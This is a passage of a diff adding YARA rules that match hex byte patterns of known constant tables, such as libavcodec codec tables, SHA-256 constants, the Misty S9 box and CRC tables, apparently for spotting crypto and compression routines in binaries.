+	$a0 = { 0000000002020000fefdffffff02000001fdffff03fffffffd00000004040000fcfbffff01050000fffaffff05010000fbfefffffc03000004fcfffffe05000002faffff06fefffffa01000004090000fcf6ffff09040000f7fbffff09090000f7f6ffff010a0000fff5ffff0a010000f6fefffffb07000005f8ffff08fbfffff8040000090f0000f7f0ffff0f090000f1f6fffffd0b000003f4ffff0cfdfffff402000004100000fcefffff10040000f0fbffff10100000f0efffff0012000000eeffff12000000eefffffff40b00000cf4fffff70f000009f0ffff10f7fffff00800000b1b0000f5e4ffff1b0b0000e5f4ffff131c0000ede3ffff1c130000e4ecfffffa15000006eaffff16faffffea050000041d0000fce2ffff1d040000e3fbffff1e1e0000e2e1fffffe20000002dfffff21feffffdf010000ee16000012e9ffff17eeffffe9110000f11d00000fe2ffff1ef1ffffe20e0000162e0000ead1ffff2e160000d2e9ffff0d2f0000f3d0ffff2f0d0000d1f2ffff23310000ddceffff31230000cfdcfffff52800000bd7ffff29f5ffffd70a000004330000fcccffff33040000cdfbffff36360000cac9ffffde21000022deffffe32900001dd6ffff2ae3ffffd61c0000fa3b000006c4ffff3cfaffffc40500001b4c0000e5b3ffff4c1b0000b4e4ffff2b4d0000d5b2ffff4d2b0000b3d4ffffe836000018c9ffff37e8ffffc91700000e4f0000f2b0ffff4f0e0000b1f1ffff3f530000c1acffff533f0000adc0ffffec49000014b6ffff4aecffffb613000002580000fea7ffff58020000a8fdffff5d5d0000a3a2ffffcc3c000034c3ffff3dccffffc333000034780000cc87ffff7834000088cbffffd34a00002db5ffff4bd3ffffb52c00004b7d0000b582ffff7d4b000083b4ffff217a0000df85ffff7a21000086defffff36600000d99ffff67f3ffff990c0000d85f000028a0ffff60d8ffffa0270000de7e00002281ffff7fdeffff81210000a758000059a7ffffb26800004e97ffff69b2ffff974d00000c0c0000f4f3ffff17170000e9e8ffff2a2a0000d6d5ffff49490000b7b6ffff00000000000002020000fefd0000ff02000001fd000003ff0000fd0002020000020202020202fefd0202ff02020201fd020203ff0202fd00fefdfffffefd0102fefdfdfdfefdfe02fefd00fdfefd02fffefdfc00ff020000ff020202ff02fefdff02ff02ff0201fdff0203ffff02fd0001fdffff01fd010201fdfdfd01fdfe0201fd00fd01fd02ff01fdfc0003ffffff03ff010203fffdfd03fffe0203ff00fd03ff02ff03fffc00fd000000fd000202fd00fefdfd00ff02fd0001fdfd0003fffd00fd000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000003030000fdfcffffff03000001fcffff04fffffffc00000007070000f9f8ffff02080000fef7ffff08020000f8fdfffffe08000002f7ffff09fefffff7010000fa05000006faffff060d0000faf2ffff0d060000f3f9ffff0d0d0000f3f2ffff010e0000fff1ffff0e010000f2fefffff80b000008f4ffff0cf8fffff40700000e170000f2e8ffff170e0000e9f1fffffb11000005eeffff12fbffffee04000006180000fae7ffff18060000e8f9ffff18180000e8e7ffffff1a000001e5ffff1bffffffe5000000ef10000011effffff31600000de9ffff17f3ffffe90c000010280000f0d7ffff28100000d8efffff1c290000e4d6ffff291c0000d7e3fffff720000009dfffff21f7ffffdf080000062b0000fad4ffff2b060000d5f9ffff2e2e0000d2d1fffffc31000004ceffff32fcffffce030000e52100001bdeffff22e5ffffde1a0000ea2c000016d3ffff2deaffffd315000022450000debaffff45220000bbddffff13460000edb9ffff46130000baecffff35490000cbb6ffff49350000b7caffffef3d000011c2ffff3eefffffc2100000054d0000fbb2ffff4d050000b3faffff52520000aeadffffcd32000033cdffffd53f00002bc0ffff40d5ffffc02a0000f65900000aa6ffff5af6ffffa609000029720000d78dffff722900008ed6ffff40740000c08bffff744000008cbfffffdb51000025aeffff52dbffffae24000016770000ea88ffff7716000089e9ffff5f7c0000a183ffff7c5f000084a0ffffe26e00001e91ffff6fe2ffff911d0000b25b00004ea4ffff5cb2ffffa44d0000bc700000448fffff71bcffff8f43000012120000eeedffff22220000deddffff3f3f0000c1c0ffff6d6d00009392ffff00000000000003030000fdfc0000ff03000001fc000004ff0000fc00000007070000f9f803030000030303030303fdfc0303ff03030301fc030304ff0303fc00030307070303f9f8fdfcfffffdfc0203fdfcfcfcfdfcfe03fdfc00fcfdfc03fffdfcfb00fdfc0607fdfcf8f8ff030000ff030303ff03fdfcff03ff03ff0301fcff0304ffff03fc00ff030707ff03f9f801fcffff01fc020301fcfcfc01fcfe0301fc00fc01fc03ff01fcfb0001fc060701fcf8f804ffffff04ff020304fffcfc04fffe0304ff00fc04ff03ff04fffb0004ff060704fff8f8fc000000fc000303fc00fdfcfc00ff03fc0001fcfc0004fffc00fc00fc000707fc00f9f807070000070703030707fdfc0707ff03070701fc070704ff0707fc00070707070707f9f8f9f8fffff9f80203f9f8fcfcf9f8fe03f9f800fcf9f803fff9f8fb00f9f80607f9f8f8f8000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000004040000fcfbffffff04000001fbffff05fffffffb000000030a0000fdf5ffff0a030000f6fcffff09090000f7f6fffff906000007f9fffffd0b000003f4ffff0cfdfffff402000008110000f8eeffff11080000eff7ffff11110000efeeffff01130000ffecffff13010000edfefffff50f00000bf0ffff10f5fffff00a0000fa16000006e9ffff17faffffe9050000121f0000eee0ffff1f120000e1edffff08200000f8dfffff20080000e0f7ffff21210000dfdeffffff23000001dcffff24ffffffdc000000e916000017e9ffffef1e000011e1ffff1fefffffe110000015360000ebc9ffff36150000caeaffff25370000dbc8ffff37250000c9dafffff42b00000cd4ffff2cf4ffffd40b000008390000f8c6ffff39080000c7f7ffff3d3d0000c3c2fffffb41000005beffff42fbffffbe040000dc2c000024d3ffff2ddcffffd3230000e33b00001dc4ffff3ce3ffffc41c00002d5c0000d3a3ffff5c2d0000a4d2ffff195d0000e7a2ffff5d190000a3e6ffff47610000b99effff614700009fb8ffffea52000016adffff53eaffffad15000007660000f999ffff660700009af8ffff6d6d00009392ffffbc43000044bcffffc754000039abffff55c7ffffab380000f37700000d88ffff78f3ffff880c0000cf6d00003192ffff6ecfffff92300000987a00006885ffff7b98ffff8567000018180000e8e7ffff2e2e0000d2d1ffff54540000acabffff00000000000004040000fcfb0000ff04000001fb000005ff0000fb000000030a0000fdf500000a0304040000040404040404fcfb0404ff04040401fb040405ff0404fb000404030a0404fdf504040a03fcfbfffffcfb0304fcfbfbfbfcfbfe04fcfb00fbfcfb04fffcfbfa00fcfb020afcfbfcf5fcfb0903ff040000ff040404ff04fcfbff04ff04ff0401fbff0405ffff04fb00ff04030aff04fdf5ff040a0301fbffff01fb030401fbfbfb01fbfe0401fb00fb01fb04ff01fbfa0001fb020a01fbfcf501fb090305ffffff05ff030405fffbfb05fffe0405ff00fb05ff04ff05fffa0005ff020a05fffcf505ff0903fb000000fb000404fb00fcfbfb00ff04fb0001fbfb0005fffb00fb00fb00030afb00fdf5fb000a03030a0000030a0404030afcfb030aff04030a01fb030a05ff030afb00030a030a030afdf5030a0a03fdf5fffffdf50304fdf5fbfbfdf5fe04fdf500fbfdf504fffdf5fa00fdf5020afdf5fcf5fdf509030a0300000a0304040a03fcfb0a03ff040a0301fb0a0305ff0a03fb000a03030a0a03fdf50a030a0300000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000005050000fbfafffffe06000002f9ffff07fefffff90100000b0b0000f5f4ffff030d0000fdf2ffff0d030000f3fcfffff708000009f7fffffc0e000004f1ffff0ffcfffff10300000b160000f5e9ffff160b0000eaf4ffff15150000ebeaffff02180000fee7ffff18020000e8fdfffff21300000eecffff14f2ffffec0d000017260000e9d9ffff26170000dae8fffff81c000008e3ffff1df8ffffe30700000b270000f5d8ffff270b0000d9f4ffff29290000d7d6ffffff2c000001d3ffff2dffffffd3000000e31c00001de3ffffea26000016d9ffff27eaffffd91500001b430000e5bcffff431b0000bde4ffff2f450000d1baffff452f0000bbd0fffff13700000fc8ffff38f1ffffc80e00000b470000f5b8ffff470b0000b9f4ffff4c4c0000b4b3fffffa52000006adffff53faffffad050000d33800002dc7ffff39d3ffffc72c0000dc4a000024b5ffff4bdcffffb523000038730000c88cffff733800008dc7ffff1f750000e18affff751f00008be0ffff587a0000a885ffff7a58000086a7ffffe46700001c98ffff68e4ffff981b0000ab54000055abffffb86900004896ffff6ab8ffff964700001e1e0000e2e1ffff3a3a0000c6c5ffff696900009796ffff00000000000005050000fbfa0000fe06000002f9000007fe0000f90100000b0b0000f5f40000030d0000fdf205050000050505050505fbfa0505fe06050502f9050507fe0505f90105050b0b0505f5f40505030d0505fdf2fbfafffffbfa0405fbfafafafbfafd06fbfa01f9fbfa06fefbfaf801fbfa0a0bfbfaf4f4fbfa020dfbfafcf2fe060000fe060505fe06fbfafe06fe06fe0602f9fe0607fefe06f901fe060b0bfe06f5f4fe06030dfe06fdf202f9ffff02f9040502f9fafa02f9fd0602f901f902f906fe02f9f80102f90a0b02f9f4f402f9020d02f9fcf207feffff07fe040507fefafa07fefd0607fe01f907fe06fe07fef80107fe0a0b07fef4f407fe020d07fefcf2f9010000f9010505f901fbfaf901fe06f90102f9f90107fef901f901f9010b0bf901f5f4f901030df901fdf20b0b00000b0b05050b0bfbfa0b0bfe060b0b02f90b0b07fe0b0bf9010b0b0b0b0b0bf5f40b0b030d0b0bfdf2f5f4fffff5f40405f5f4fafaf5f4fd06f5f401f9f5f406fef5f4f801f5f40a0bf5f4f4f4f5f4020df5f4fcf2030d0000030d0505030dfbfa030dfe06030d02f9030d07fe030df901030d0b0b030df5f4030d030d030dfdf2fdf2fffffdf20405fdf2fafafdf2fd06fdf201f9fdf206fefdf2f801fdf20a0bfdf2f4f4fdf2020dfdf2fcf200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000006060000faf9fffffe07000002f8ffff08fefffff80100000d0d0000f3f2ffff040f0000fcf0ffff0f040000f1fbfffff50a00000bf5fffffb11000005eeffff12fbffffee0400000d1a0000f3e5ffff1a0d0000e6f2ffff1a1a0000e6e5ffff021d0000fee2ffff1d020000e3fdfffff017000010e8ffff18f0ffffe80f00001c2e0000e4d1ffff2e1c0000d2e3fffff722000009ddffff23f7ffffdd0800000d2f0000f3d0ffff2f0d0000d1f2ffff31310000cfceffffff35000001caffff36ffffffca000000dd22000023ddffffe62e00001ad1ffff2fe6ffffd119000020510000e0aeffff51200000afdfffff38530000c8acffff53380000adc7ffffee42000012bdffff43eeffffbd1100000d560000f3a9ffff560d0000aaf2ffff5b5b0000a5a4fffff9620000079dffff63f9ffff9d060000ca43000036bcffff44caffffbc350000d45900002ca6ffff5ad4ffffa62b0000df7b00002184ffff7cdfffff84200000996600006799ffffaa7e00005681ffff7faaffff8155000025250000dbdaffff45450000bbbaffff00000000000006060000faf90000fe07000002f8000008fe0000f80100000d0d0000f3f20000040f0000fcf000000f0406060000060606060606faf90606fe07060602f8060608fe0606f80106060d0d0606f3f20606040f0606fcf006060f04faf9fffffaf90506faf9f9f9faf9fd07faf901f8faf907fefaf9f701faf90c0dfaf9f2f2faf9030ffaf9fbf0faf90e04fe070000fe070606fe07faf9fe07fe07fe0702f8fe0708fefe07f801fe070d0dfe07f3f2fe07040ffe07fcf0fe070f0402f8ffff02f8050602f8f9f902f8fd0702f801f802f807fe02f8f70102f80c0d02f8f2f202f8030f02f8fbf002f80e0408feffff08fe050608fef9f908fefd0708fe01f808fe07fe08fef70108fe0c0d08fef2f208fe030f08fefbf008fe0e04f8010000f8010606f801faf9f801fe07f80102f8f80108fef801f801f8010d0df801f3f2f801040ff801fcf0f8010f040d0d00000d0d06060d0dfaf90d0dfe070d0d02f80d0d08fe0d0df8010d0d0d0d0d0df3f20d0d040f0d0dfcf00d0d0f04f3f2fffff3f20506f3f2f9f9f3f2fd07f3f201f8f3f207fef3f2f701f3f20c0df3f2f2f2f3f2030ff3f2fbf0f3f20e04040f0000040f0606040ffaf9040ffe07040f02f8040f08fe040ff801040f0d0d040ff3f2040f040f040ffcf0040f0f04fcf0fffffcf00506fcf0f9f9fcf0fd07fcf001f8fcf007fefcf0f701fcf00c0dfcf0f2f2fcf0030ffcf0fbf0fcf00e040f0400000f0406060f04faf90f04fe070f0402f80f0408fe0f04f8010f040d0d0f04f3f20f04040f0f04fcf00f040f0400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000007070000f9f8fffffd09000003f6ffff0afdfffff602000010100000f0efffff05120000fbedffff12050000eefafffff30c00000df3fffffa14000006ebffff15faffffeb0500000f1e0000f1e1ffff1e0f0000e2f0ffff1e1e0000e2e1ffff02220000feddffff22020000defdffffed1b000013e4ffff1cedffffe412000020360000e0c9ffff36200000cadffffff52800000bd7ffff29f5ffffd70a00000f370000f1c8ffff370f0000c9f0ffff39390000c7c6ffffff3e000001c1ffff3fffffffc1000000d827000028d8ffffe23600001ec9ffff37e2ffffc91d0000255e0000dba1ffff5e250000a2daffff41600000bf9fffff60410000a0beffffeb4d000015b2ffff4eebffffb21400000f640000f19bffff640f00009cf0ffff6a6a00009695fffff8730000088cffff74f8ffff8c070000c14e00003fb1ffff4fc1ffffb13e0000cd6800003397ffff69cdffff97320000887700007888ffff2b2b0000d5d4ffff50500000b0afffff00000000000007070000f9f80000fd09000003f600000afd0000f602000010100000f0ef000005120000fbed0000120507070000070707070707f9f80707fd09070703f607070afd0707f602070710100707f0ef070705120707fbed07071205f9f8fffff9f80607f9f8f8f8f9f8fc09f9f802f6f9f809fdf9f8f502f9f80f10f9f8efeff9f80412f9f8faedf9f81105fd090000fd090707fd09f9f8fd09fd09fd0903f6fd090afdfd09f602fd091010fd09f0effd090512fd09fbedfd09120503f6ffff03f6060703f6f8f803f6fc0903f602f603f609fd03f6f50203f60f1003f6efef03f6041203f6faed03f611050afdffff0afd06070afdf8f80afdfc090afd02f60afd09fd0afdf5020afd0f100afdefef0afd04120afdfaed0afd1105f6020000f6020707f602f9f8f602fd09f60203f6f6020afdf602f602f6021010f602f0eff6020512f602fbedf602120510100000101007071010f9f81010fd09101003f610100afd1010f602101010101010f0ef101005121010fbed10101205f0effffff0ef0607f0eff8f8f0effc09f0ef02f6f0ef09fdf0eff502f0ef0f10f0efefeff0ef0412f0effaedf0ef110505120000051207070512f9f80512fd09051203f605120afd0512f602051210100512f0ef051205120512fbed05121205fbedfffffbed0607fbedf8f8fbedfc09fbed02f6fbed09fdfbedf502fbed0f10fbedefeffbed0412fbedfaedfbed110512050000120507071205f9f81205fd09120503f612050afd1205f602120510101205f0ef120505121205fbed12051205000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000008080000f8f7fffffd0a000003f5ffff0bfdfffff502000012120000eeedffff05140000fbebffff14050000ecfafffff10e00000ff1fffff917000007e8ffff18f9ffffe806000011230000efdcffff23110000ddeeffff22220000deddffff03260000fdd9ffff26030000dafcffffea1f000016e0ffff20eaffffe0150000253d0000dbc2ffff3d250000c3dafffff32e00000dd1ffff2ff3ffffd10c0000113f0000efc0ffff3f110000c1eeffff41410000bfbeffffff47000001b8ffff48ffffffb8000000d22d00002ed2ffffdd3e000023c1ffff3fddffffc12200002b6b0000d594ffff6b2b000095d4ffff4b6e0000b591ffff6e4b000092b4ffffe858000018a7ffff59e8ffffa717000011720000ef8dffff721100008eeeffff797900008786ffffb85a000048a5ffff5bb8ffffa5470000c67700003a88ffff78c6ffff8839000031310000cfceffff5c5c0000a4a3ffff00000000000008080000f8f70000fd0a000003f500000bfd0000f502000012120000eeed000005140000fbeb0000140508080000080808080808f8f70808fd0a080803f508080bfd0808f502080812120808eeed080805140808fbeb08081405f8f7fffff8f70708f8f7f7f7f8f7fc0af8f702f5f8f70afdf8f7f402f8f71112f8f7ededf8f70414f8f7faebf8f71305fd0a0000fd0a0808fd0af8f7fd0afd0afd0a03f5fd0a0bfdfd0af502fd0a1212fd0aeeedfd0a0514fd0afbebfd0a140503f5ffff03f5070803f5f7f703f5fc0a03f502f503f50afd03f5f40203f5111203f5eded03f5041403f5faeb03f513050bfdffff0bfd07080bfdf7f70bfdfc0a0bfd02f50bfd0afd0bfdf4020bfd11120bfdeded0bfd04140bfdfaeb0bfd1305f5020000f5020808f502f8f7f502fd0af50203f5f5020bfdf502f502f5021212f502eeedf5020514f502fbebf502140512120000121208081212f8f71212fd0a121203f512120bfd1212f502121212121212eeed121205141212fbeb12121405eeedffffeeed0708eeedf7f7eeedfc0aeeed02f5eeed0afdeeedf402eeed1112eeedededeeed0414eeedfaebeeed130505140000051408080514f8f70514fd0a051403f505140bfd0514f502051412120514eeed051405140514fbeb05141405fbebfffffbeb0708fbebf7f7fbebfc0afbeb02f5fbeb0afdfbebf402fbeb1112fbebededfbeb0414fbebfaebfbeb130514050000140508081405f8f71405fd0a140503f514050bfd1405f502140512121405eeed140505141405fbeb14051405000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000009090000f7f6fffffd0b000003f4ffff0cfdfffff402000014140000ecebffff06170000fae8ffff17060000e9f9ffffef10000011effffff91a000007e5ffff1bf9ffffe506000013270000edd8ffff27130000d9ecffff27270000d9d8ffff032b0000fdd4ffff2b030000d5fcffffe823000018dcffff24e8ffffdc1700002a450000d6baffff452a0000bbd5fffff23400000ecbffff35f2ffffcb0d000013470000edb8ffff47130000b9ecffff49490000b7b6fffffe4f000002b0ffff50feffffb0010000cc33000034ccffffd945000027baffff46d9ffffba26000030790000d086ffff7930000087cfffff547c0000ac83ffff7c54000084abffffe56300001b9cffff64e5ffff9c1a0000af650000519affff66afffff9a50000037370000c9c8ffff686800009897ffff00000000000009090000f7f60000fd0b000003f400000cfd0000f402000014140000eceb000006170000fae8000017060000e9f909090000090909090909f7f60909fd0b090903f409090cfd0909f402090914140909eceb090906170909fae8090917060909e9f9f7f6fffff7f60809f7f6f6f6f7f6fc0bf7f602f4f7f60bfdf7f6f302f7f61314f7f6ebebf7f60517f7f6f9e8f7f61606f7f6e8f9fd0b0000fd0b0909fd0bf7f6fd0bfd0bfd0b03f4fd0b0cfdfd0bf402fd0b1414fd0becebfd0b0617fd0bfae8fd0b1706fd0be9f903f4ffff03f4080903f4f6f603f4fc0b03f402f403f40bfd03f4f30203f4131403f4ebeb03f4051703f4f9e803f4160603f4e8f90cfdffff0cfd08090cfdf6f60cfdfc0b0cfd02f40cfd0bfd0cfdf3020cfd13140cfdebeb0cfd05170cfdf9e80cfd16060cfde8f9f4020000f4020909f402f7f6f402fd0bf40203f4f4020cfdf402f402f4021414f402ecebf4020617f402fae8f4021706f402e9f914140000141409091414f7f61414fd0b141403f414140cfd1414f402141414141414eceb141406171414fae8141417061414e9f9ecebffffeceb0809ecebf6f6ecebfc0beceb02f4eceb0bfdecebf302eceb1314ecebebebeceb0517ecebf9e8eceb1606ecebe8f906170000061709090617f7f60617fd0b061703f406170cfd0617f402061714140617eceb061706170617fae8061717060617e9f9fae8fffffae80809fae8f6f6fae8fc0bfae802f4fae80bfdfae8f302fae81314fae8ebebfae80517fae8f9e8fae81606fae8e8f917060000170609091706f7f61706fd0b170603f417060cfd1706f402170614141706eceb170606171706fae8170617061706e9f9e9f9ffffe9f90809e9f9f6f6e9f9fc0be9f902f4e9f90bfde9f9f302e9f91314e9f9ebebe9f90517e9f9f9e8e9f91606e9f9e8f9000000000000000000000000000000000000000000000000000000000000000000000000 }
+
+condition:
+	$a0
+}
+
+	
+rule unlzx_table_three__16_lil_32_
+{
+strings:
+	$a0 = { 00000100030007000f001f003f007f00ff00ff01ff03ff07ff0fff1fff3fff7f }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_ff_ue_golomb_vlc_code__8_byt_512_
+{
+strings:
+	$a0 = { 1f2020202020202020202020202020200f101112131415161718191a1b1c1d1e0707070708080808090909090a0a0a0a0b0b0b0b0c0c0c0c0d0d0d0d0e0e0e0e03030303030303030303030303030303040404040404040404040404040404040505050505050505050505050505050506060606060606060606060606060606010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_AC3_ff_ac3_frame_size_tab__16_lil_228_
+{
+strings:
+	$a0 = { 40004500600040004600600050005700780050005800780060006800900060006900900070007900a80070007a00a80080008b00c00080008c00c000a000ae00f000a000af00f000c000d0002001c000d1002001e000f3005001e000f400500100011601800100011701800140015c01e00140015d01e0018001a10140028001a2014002c001e701a002c001e801a00200022d02000300022e0200038002b802c0038002b902c0030003430380040003440380048003cf0340058003d003400500045a04000600045b0400068004e504c0068004e604c006000571058007000572058007 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_asus_v1_v2_ac_ccp_tab__8_byt_32_
+{
+strings:
+	$a0 = { 00023b060a043a06020339063c06380603033d0608041f0509040b040d040c04 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_rv40_aic_table_index__16_big_40_
+{
+strings:
+	$a0 = { 00000100020000110111021105110611002201220222072202720227082202820228011201160221 }
+
+condition:
+	$a0
+}
+
+	
+rule Misty_s9__32_big_2048_
+{
+strings:
+	$a0 = { 000001c3000000cb000001530000019f000001e3000000e9000000fb0000003500000181000000b900000117000001eb00000133000000090000002d000000d3000000c70000014a000000370000007e000000eb0000016400000193000001d8000000a30000011e000000550000002c0000001d000001a200000163000001180000014b00000152000001d20000000f0000002b000000300000013a000000e500000111000001380000018e00000063000000e3000000c8000001f40000001b000000010000009d000000f8000001a00000016d000001f30000001c000001460000007d000000d100000082000001ea000001830000012d000000f40000019e000001d3000000dd000001e200000128000001e0000000ec0000005900000091000000110000012f00000026000000dc000000b00000018c0000010f000001f7000000e70000016c000000b6000000f9000000d800000151000001010000014c00000103000000b8000001540000012b000001ae00000017000000710000000c00000047000000580000007f000001a40000013400000129000000840000015d0000019d000001b2000001a3000000480000007c00000051000001ca000000230000013d000001a7000001650000003b00000042000000da00000192000000ce000000c10000006b0000009f000001f10000012c00000184000000fa00000196000001e1000001690000017d00000031000001800000010a00000094000001da000001860000013e0000011c0000006000000175000001cf00000067000001190000006500000068000000990000015000000008000000070000017c000000b70000002400000019000000de00000127000000db000000e4000001a90000005200000109000000900000019c000001c100000028000001b3000001350000016a00000176000000df000001e500000188000000c50000016e000001de000001b1000000c3000001df00000036000000ee000001ee000000f000000093000000490000009a000001b60000006900000081000001250000000b0000005e000000b400000149000001c7000001740000003e0000013b000001b70000008e000001c6000000ae0000001000000095000001ef0000004e000000f2000001fd00000085000000fd000000f6000000a00000016f000000830000008a000001560000009b0000013c000001070000016700000098000001d0000001e900000003000001fe000000bd0000012200000089000000d20000018f00000012000000330000006a00000142000000ed000001700000011b000000e20000014f0000015800000131000001470000005d00000113000001cd0000007900000161000001a5000001790000009e000001b4000000cc00000022000001320000001a000000e80000000400000187000001ed0000019700000039000001bf000001d7000000270000018b000000c60000009c000000d00000014e0000006c00000034000001f20000006e000000ca00000025000000ba00000191000000fe00000013000001060000002f000001ad00000172000001db000000c00000010b000001d6000000f5000001ec0000010d0000007600000114000001ab000000750000010c000001e400000159000000540000011f0000004b000000c4000001be000000f700000029000000a40000000e000001f0000000770000004d0000017a000000860000008b000000b300000171000000bf0000010e00000104000000970000015b0000016000000168000000d7000000bb00000066000001ce000000fc00000092000001c50000006f000000160000004a000000a100000139000000af000000f1000001900000000a000001aa000001430000017b000000560000018d00000166000000d4000001fb0000014d000001940000019a00000087000001f800000123000000a7000001b8000001410000003c000001f9000001400000002a000001550000011a000001a100000198000000d500000126000001af000000610000012e00000157000001dc000000720000018a000000aa0000009600000115000000ef000000450000007b0000008d00000145000000530000005f00000178000000b20000002e00000020000001d50000003f000001c9000001e7000001ac000000440000003800000014000000b10000016b000000ab000000b50000005a00000182000001c8000001d4000000180000017700000064000000cf0000006d0000010000000199000001300000015a0000000500000120000001bb000001bd000000e00000004f000000d60000013f000001c40000012a0000001500000006000000ff0000019b000000a60000004300000088000000500000015f000001e800000121000000730000017e000000bc000000c2000000c90000017300000189000001f500000074000001cc000001e6000001a8000001950000001f000000410000000d000001ba000000320000003d000001d100000080000000a800000057000001b90000016200000148000000d900000105000000620000007a00000021000001ff0000011200000108000001c0000000a90000011d000001b0000001a6000000cd000000f30000005c000001020000005b000001d900000144000001f6000000ad000000a50000003a000001cb000001360000017f00000046000000e10000001e000001dd000000e600000137000001fa000001850000008c0000008f00000040000001b5000000be0000007800000000000000ac000001100000015e0000012400000002000001bc000000a2000000ea00000070000001fc000001160000015c0000004c000001c2 }
+
+condition:
+	$a0
+}
+
+	
+rule YUV_to_RGB_dither_8x8_220_2__8_byt_64_
+{
+strings:
+	$a0 = { 008f12c8029c19d74e1c7d4059248a4a0ab403a110c308af6d335d26793c692f019817d2009314cd55218647511e82430ebe06ab0cb905a67539652c71366129 }
+
+condition:
+	$a0
+}
+
+	
+rule SHA256__32_big_AND_
+{
+strings:
+	$a0 = { 6a09e667[0-20]bb67ae85[0-20]3c6ef372[0-20]a54ff53a[0-20]510e527f[0-20]9b05688c[0-20]1f83d9ab[0-20]5be0cd19[0-20]428a2f98[0-20]71374491[0-20]b5c0fbcf[0-20]e9b5dba5[0-20]3956c25b[0-20]59f111f1[0-20]923f82a4[0-20]ab1c5ed5[0-20]d807aa98[0-20]12835b01[0-20]243185be[0-20]550c7dc3[0-20]72be5d74[0-20]80deb1fe[0-20]9bdc06a7[0-20]c19bf174[0-20]e49b69c1[0-20]efbe4786[0-20]0fc19dc6[0-20]240ca1cc[0-20]2de92c6f[0-20]4a7484aa[0-20]5cb0a9dc[0-20]76f988da[0-20]983e5152[0-20]a831c66d[0-20]b00327c8[0-20]bf597fc7[0-20]c6e00bf3[0-20]d5a79147[0-20]06ca6351[0-20]14292967[0-20]27b70a85[0-20]2e1b2138[0-20]4d2c6dfc[0-20]53380d13[0-20]650a7354[0-20]766a0abb[0-20]81c2c92e[0-20]92722c85[0-20]a2bfe8a1[0-20]a81a664b[0-20]c24b8b70[0-20]c76c51a3[0-20]d192e819[0-20]d6990624[0-20]f40e3585[0-20]106aa070[0-20]19a4c116[0-20]1e376c08[0-20]2748774c[0-20]34b0bcb5[0-20]391c0cb3[0-20]4ed8aa4a[0-20]5b9cca4f[0-20]682e6ff3[0-20]748f82ee[0-20]78a5636f[0-20]84c87814[0-20]8cc70208[0-20]90befffa[0-20]a4506ceb[0-20]bef9a3f7[0-20]c67178f2 }
+
+condition:
+	$a0
+}
+
+	
+rule classical_random_incrementer_0x343FD_0x269EC3__32_lil_AND_
+{
+strings:
+	$a0 = { fd430300[0-20]c39e2600 }
+
+condition:
+	$a0
+}
+
+	
+rule psymodel_table3__flt64___64_lil_112_
+{
+strings:
+	$a0 = { 0000008092281640000000c01c061540000000008ef21340000000809e17124000000000e8681040000000804a3e0c4000000080234e0840000000408dea044000000040f0ff014000000040befafe3f00000080eda8fa3f000000204cf1f63f000000a052bef33f000000006c3ff13f }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_ASUS_V1_V2_codec_asv2_level_tab__8_byt_126_
+{
+strings:
+	$a0 = { 3f0a2f0a370a270a3b0a2b0a330a230a3d0a2d0a350a250a390a290a310a210a1f0817081b0813081d081508190811080f060b060d060906070405040302000502020404060408060c060a060e061008180814081c0812081a0816081e08200a300a280a380a240a340a2c0a3c0a220a320a2a0a3a0a260a360a2e0a3e0a }
+
+condition:
+	$a0
+}
+
+	
+rule CRC_7_poly_0x48__8_byt_refl_False_
+{
+strings:
+	$a0 = { 004890d86820f8b0d0984008b8f02860e8a0783080c810583870a8e05018c08898d00840f0b860284800d8902068b0f87038e0a8185088c0a0e83078c88058107830e8a0105880c8a8e03870c088501890d80048f8b068204008d0982860b8f0e0a8703888c018503078a0e85810c880084098d06028f0b8d8904800b0f82068f0b8602898d008402068b0f84800d890185088c07038e0a8c8805810a0e830786820f8b0004890d8b8f02860d098400880c81058e8a078305018c0883870a8e088c01850e0a870385810c8803078a0e86028f0b8084098d0b0f82068d8904800105880c87830e8a0c0885018a8e03870f8b0682090d800482860b8f04008d098 }
+
+condition:
+	$a0
+}
+
+	
+rule CRC_64_ECMA_182_poly_0x92D8AF2BAF0E1E85__64_big_refl_False_
+{
+strings:
+	$a0 = { 000000000000000092d8af2baf0e1e85b769f17cf112238f25b15e575e1c3d0afc0b4dd24d2a599b6ed3e2f9e224471e4b62bcaebc387a14d9ba1385133664916ace348f355aadb3f8169ba49a54b336dda7c5f3c4488e3c4f7f6ad86b4690b996c5795d7870f428041dd676d77eeaad21ac88218962d7a7b374270a266cc922d59c691e6ab55b664744c635c5bb45e362f598629ba778e9f02d374934a9666c299724cc279f02fdbb4f8be788911c789efed5b0d68d21720c267a9b79833ff7bf525d915feff6d52d8af2baf0e1e850083bacedaefdd55a9ae303c601f3cbdf4359104312c5af4ed181bf68bdcbb1cbf430e13fe3d78cc166e84e144cd9924439e07d177a64a849ab38d23cd56ab6cc8e898c6b8b768bc61c51234024789543c5eb30c5374ef1d257339fee9840ef577282c1b9c65cd25de05a6e926952ccd8532e49984f3e05fac1f6e6b3e0301b7fe447b8e4be2c2675769f17cf112238f0af25044a02145c613dfdab61ad1a42e4184cf536f3067fee8a945a1d5c08616bec7c140910d1f32f7ea4bb22bfdfedaa5b15e575e1c3d0a0c9cd4a5e4ecdce25107759db5dfbaab482aff6f0f2f5b431a71ea8a7ace9893b35c6078c03e797be86b22086258b5e9c146a8fad8a85